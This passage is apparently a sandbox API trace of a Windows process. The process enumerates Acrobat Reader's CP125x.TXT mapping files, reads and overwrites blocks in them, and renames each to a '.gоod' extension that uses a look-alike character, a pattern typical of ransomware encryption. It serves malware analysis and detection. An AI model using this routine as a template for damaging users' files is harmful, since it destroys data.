nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.980] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.980] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2647, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0109.980] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2502, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1251.TXT", cAlternateFileName="")) returned 1 [0109.980] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2598, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1252.TXT", cAlternateFileName="")) returned 1 [0109.981] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x23f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1253.TXT", cAlternateFileName="")) returned 1 [0109.981] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x258f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1254.TXT", cAlternateFileName="")) returned 1 [0109.981] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x250f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1257.TXT", cAlternateFileName="")) returned 1 [0109.981] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2505, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 1 [0109.981] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0109.981] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb80) returned 1 [0109.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb40) returned 1 [0109.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebc40) returned 1 [0109.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win", nBufferLength=0x105, lpBuffer=0x1fceb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win", lpFilePart=0x0) returned 0x58 [0109.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x1fceb960 | out: lpFindFileData=0x1fceb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0109.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340dcb4c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdebf2192, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2647, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1250.TXT", cAlternateFileName="")) returned 1 [0109.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2502, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1251.TXT", cAlternateFileName="")) returned 1 [0109.983] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2598, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1252.TXT", cAlternateFileName="")) returned 1 [0109.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x23f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1253.TXT", cAlternateFileName="")) returned 1 [0109.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x258f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1254.TXT", cAlternateFileName="")) returned 1 [0109.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x250f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1257.TXT", cAlternateFileName="")) returned 1 [0109.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2505, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 1 [0109.984] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebf2192, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2505, dwReserved0=0x0, dwReserved1=0x0, cFileName="CP1258.TXT", cAlternateFileName="")) returned 0 [0109.984] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0109.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb80) returned 1 [0109.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb40) returned 1 [0109.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", lpFilePart=0x0) returned 0x63 [0109.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0109.985] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), fInfoLevelId=0x0, lpFileInformation=0x34c60d0 | out: lpFileInformation=0x34c60d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2647)) returned 1 [0109.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0109.986] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", lpFilePart=0x0) returned 0x63 [0109.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0109.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0109.986] GetFileType (hFile=0x6e8) returned 0x1 [0109.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0109.986] GetFileType (hFile=0x6e8) returned 0x1 [0109.987] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0109.987] ReadFile (in: hFile=0x6e8, lpBuffer=0x34c6548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x34c6548*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0109.988] CloseHandle (hObject=0x6e8) returned 1 [0109.988] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", lpFilePart=0x0) returned 0x63 [0109.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0109.988] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0109.988] GetFileType (hFile=0x6e8) returned 0x1 [0109.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0109.988] GetFileType (hFile=0x6e8) returned 0x1 [0109.988] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x2647 [0109.988] WriteFile (in: hFile=0x6e8, lpBuffer=0x34c80f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x34c80f0*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0109.989] CloseHandle (hObject=0x6e8) returned 1 [0109.989] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", lpFilePart=0x0) returned 0x63 [0109.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0109.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0109.990] GetFileType (hFile=0x6e8) returned 0x1 [0109.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0109.990] GetFileType (hFile=0x6e8) returned 0x1 [0109.990] ReadFile (in: hFile=0x6e8, lpBuffer=0x34ca6e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34ca6e0*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0110.018] CloseHandle (hObject=0x6e8) returned 1 [0110.018] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", lpFilePart=0x0) returned 0x63 [0110.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0110.018] GetFileType (hFile=0x6e8) returned 0x1 [0110.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.018] GetFileType (hFile=0x6e8) returned 0x1 [0110.018] WriteFile (in: hFile=0x6e8, lpBuffer=0x34c9408*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x34c9408*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0110.018] CloseHandle (hObject=0x6e8) returned 1 [0110.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT", lpFilePart=0x0) returned 0x63 [0110.019] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT.gоod", lpFilePart=0x0) returned 0x68 [0110.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0110.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3dc97a0a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2657)) returned 1 [0110.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0110.019] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt.gоod")) returned 1 [0110.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", lpFilePart=0x0) returned 0x63 [0110.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0110.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), fInfoLevelId=0x0, lpFileInformation=0x35475d8 | out: lpFileInformation=0x35475d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2502)) returned 1 [0110.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0110.258] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", lpFilePart=0x0) returned 0x63 [0110.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.258] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.258] GetFileType (hFile=0x6e4) returned 0x1 [0110.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.258] GetFileType (hFile=0x6e4) returned 0x1 [0110.258] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0110.259] ReadFile (in: hFile=0x6e4, lpBuffer=0x34878f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x34878f8*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0110.260] CloseHandle (hObject=0x6e4) returned 1 [0110.260] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", lpFilePart=0x0) returned 0x63 [0110.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.260] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.260] GetFileType (hFile=0x6e4) returned 0x1 [0110.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.261] GetFileType (hFile=0x6e4) returned 0x1 [0110.261] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x2502 [0110.261] WriteFile (in: hFile=0x6e4, lpBuffer=0x348c0b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x348c0b0*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0110.262] CloseHandle (hObject=0x6e4) returned 1 [0110.262] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", lpFilePart=0x0) returned 0x63 [0110.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 